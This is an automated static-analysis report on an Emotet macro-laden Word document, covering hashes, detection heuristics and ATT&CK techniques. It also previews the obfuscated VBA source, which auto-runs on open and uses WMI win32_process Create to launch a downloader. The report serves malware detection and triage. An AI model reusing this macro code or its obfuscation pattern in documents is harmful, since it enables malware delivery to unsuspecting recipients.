Emotet — Office (OOXML) malware analysis

Static analysis result for SHA-256 f50eb09e94aec3ae…

MALICIOUS

Office (OOXML)

127.0 KB Created: 2020-01-31 06:37:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-05-25
MD5: c356aab49217e1877e91564c10fbd5e0 SHA-1: aa258dedae48adb37e3b67212d814a179b490123 SHA-256: f50eb09e94aec3aeb2744ebee75ae7937081785e0cba51e4ac7b5c2cf054f9d2
264 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The file is identified as malicious by ClamAV with a signature indicating it's a downloader, specifically linked to the Emotet family. The presence of a Document_Open macro and GetObject calls within the VBA code strongly suggests that the macro executes automatically when the document is opened. This macro is designed to download and execute a secondary payload, a common tactic for Emotet.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7571648-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7571648-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6703 bytes
SHA-256: 8072d47966007e9adddefaeac9caa2c919047effa4bb9533fad15b1d0593e3aa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Jmtlfqupgtna"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   d = Wxlsyriidaoqz
sdf = (Fkwjvfjuc)
we = (766)
nsN = (Tivnbmfftqe)
JWN = (815)
HDHU = "{FrikTrick}"
nxj = Buxjfikybrwj
fin3 = "{FrikTrick}"
uwe = ("{FrikTrick}")
sde = Tqmdimkyan
ABCO_ = ("{FrikTrick}")
wiwe = (Cktwqbqdhahao)
Tdjbbeamci.Jwdjlyolfep
End Sub

Attribute VB_Name = "Oihfvcap"
Attribute VB_Base = "0{3C2FAF6E-0BBF-4ECF-B281-F9C0669E6991}{CAC11AB2-EBFD-41B1-A90E-79CF6BEB0926}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Tdjbbeamci"
Function Jwdjlyolfep()
   d = Yqkkxlmegbw
sdf = (Vmcrxeatdyrhh)
we = (753)
nsN = (Bfftmuqn)
JWN = (811)
HDHU = "{FrikTrick}"
nxj = Eispsfud
fin3 = "{FrikTrick}"
uwe = ("{FrikTrick}")
sde = Jdkjxyxursc
ABCO_ = ("{FrikTrick}")
wiwe = (Kdbvdwbfzco)
Pcvonjce = "/34//22/778//0//3/wi/34//22/778//0//3/nm/34//22/778//0//3/g/34//22/778//0//3/mt/34//22/778//0//3/" + ChrW(Int(wdKeyS)) + "/34//22/778//0//3/:w/34//22/778//0//3/in/34//22/778//0//3/32/34//22/778//0//3/_" + Oihfvcap.Nhuuaytoqekr + "r/34//22/778//0//3/oc/34//22/778//0//3/e/34//22/778//0//3/s/34//22/778//0//3/s"
   d = Ytygfjldsb
sdf = (Qcydijktplb)
we = (717)
nsN = (Kmyihklyw)
JWN = (868)
HDHU = "{FrikTrick}"
nxj = Bdqnupebwfv
fin3 = "{FrikTrick}"
uwe = ("{FrikTrick}")
sde = Njxyrtnsa
ABCO_ = ("{FrikTrick}")
wiwe = (Xmukrdstejcf)
Maskyuvbpbvzb = Dyqzktlogllw(Pcvonjce)
   d = Gmuhfbclbmk
sdf = (Wcmudoiss)
we = (242)
nsN = (Txgwgohwsjz)
JWN = (893)
HDHU = "{FrikTrick}"
nxj = Fkhlcqgyqa
fin3 = "{FrikTrick}"
uwe = ("{FrikTrick}")
sde = Xjbpzvoieo
ABCO_ = ("{FrikTrick}")
wiwe = (Gemeolywxapt)
Set Tmnoaihq = GetObject(Maskyuvbpbvzb)
   d = Qpkmorfnpdakx
sdf = (Bclszszkir)
we = (384)
nsN = (Ekdtiinihgv)
JWN = (14)
HDHU = "{FrikTrick}"
nxj = Prbgirzfslov
fin3 = "{FrikTrick}"
uwe = ("{FrikTrick}")
sde = Eqfbvmba
ABCO_ = ("{FrikTrick}")
wiwe = (Jrbjqcvhaa)
Jqrkdbnol = Oihfvcap.Hgsxrxrf.Tag
   d = Tpqpzzrkysj
sdf = (Mwwsvphhluz)
we = (419)
nsN = (Eniwbpxwqx)
JWN = (460)
HDHU = "{FrikTrick}"
nxj = Jhmkmmpho
fin3 = "{FrikTrick}"
uwe = ("{FrikTrick}")
sde = Ehpddghuqpov
ABCO_ = ("{FrikTrick}")
wiwe = (Bqtwtwyr)
Qhwxrgxa = Maskyuvbpbvzb + ChrW(Int(wdKeyS)) + Oihfvcap.Dgsfuadzhhux.Tag + Jqrkdbnol
   d = Kxroisfx
sdf = (Myvvsasq)
we = (732)
nsN = (Gguwpqvnfuy)
JWN = (199)
HDHU = "{FrikTrick}"
nxj = Mdruzxjnegpw
fin3 = "{FrikTrick}"
uwe = ("{FrikTrick}")
sde = Lhppdpqtedu
ABCO_ = ("{FrikTrick}")
wiwe = (Xsrpeygjsbgt)
Cdfczfdl = Qhwxrgxa + Oihfvcap.Nhuuaytoqekr
   d = Wgqzucdw
sdf = (Cvfsrzynta)
we = (526)
nsN = (Vpywbvawudb)
JWN = (928)
HDHU = "{FrikTrick}"
nxj = Ebqffgoxx
fin3 = "{FrikTrick}"
uwe = ("{FrikTrick}")
sde = Klfnzwsgfjkba
ABCO_ = ("{FrikTrick}")
wiwe = (Hvuszton)
Set Sfosfrqvg = Szelooknsxkw(Cdfczfdl)
   d = Ljgthxrzo
sdf = (Hguphvsujrk)
we = (984)
nsN = (Nnngddpoehh)
JWN = (302)
HDHU = "{FrikTrick}"
nxj = Vkzhfvlrhwm
fin3 = "{FrikTrick}"
uwe = ("{FrikTrick}")
sde = Bcmbobapg
ABCO_ = ("{FrikTrick}")
wiwe = (Lwkfcczneu)
Call Tmnoaihq. _
Create(NJ + Cgwtsgze, Xqdjlykvis, Sfosfrqvg, Xrdgfesycg, Nfssiwdfgsze, Rkaclsfoftzj)
   d = Hprcordoszi
sdf = (Zggamiyst)
we = (985)
nsN = (Oqucxrrbcus)
JWN = (346)
HDHU = "{FrikTrick}"
nxj = Fxipumrlux
fin3 = "{FrikTrick}"
uwe = ("{FrikTrick}")
sde = Zoztpwozd
ABCO_ = ("{FrikTrick}")
wiwe = (Xaqahgjogawvo)
End Function
Function Szelooknsxkw(Ssqgsfutwrp)
   d = Mdnmdlvuu
sdf = (Hkosfpjgvuk)
we = (880)
nsN = (Urtrqyfum)
JWN = (310)
HDHU = "{FrikTrick}"
nxj = Vjsblyzolbmv
fin3 = "{FrikTrick}"
uwe = ("{FrikTrick}")
sde = Byeiambt
ABCO_ = ("{FrikTrick}")
wiwe = (Lseewtsuctx
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 52736 bytes
SHA-256: 1d12ab1f5f4273b0fb520d85157d1fc940712ae8fa47e80ac17ea4efa1580573
Detection
ClamAV: Doc.Downloader.Emotet-7571648-0
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).